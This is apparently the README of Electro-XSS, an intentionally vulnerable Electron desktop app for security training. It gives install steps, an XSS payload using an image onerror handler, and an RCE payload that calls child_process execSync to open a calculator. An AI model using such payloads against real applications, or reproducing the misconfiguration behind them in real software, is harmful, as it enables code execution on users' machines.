Electro-XSS

---

Electro-XSS is a buggy desktop application developed with the Electron JS Framework. This application will assist you in grasping the electron apps' basic structure as well as the most common Dev misconfiguration. This app allows security professionals to simulate XSS and RCE attacks.

Requirements

• Install nodejs & npm

Installation

git clone https://github.com/MrH4r1/Electro-XSS.git
cd Electro-XSS
npm install

Running Electro-XSS

 npm run electro-xss

XSS

<img src=x onerror=alert(1) />

RCE

<img src=x onerror=alert(require('child_process').execSync('gnome-calculator')); />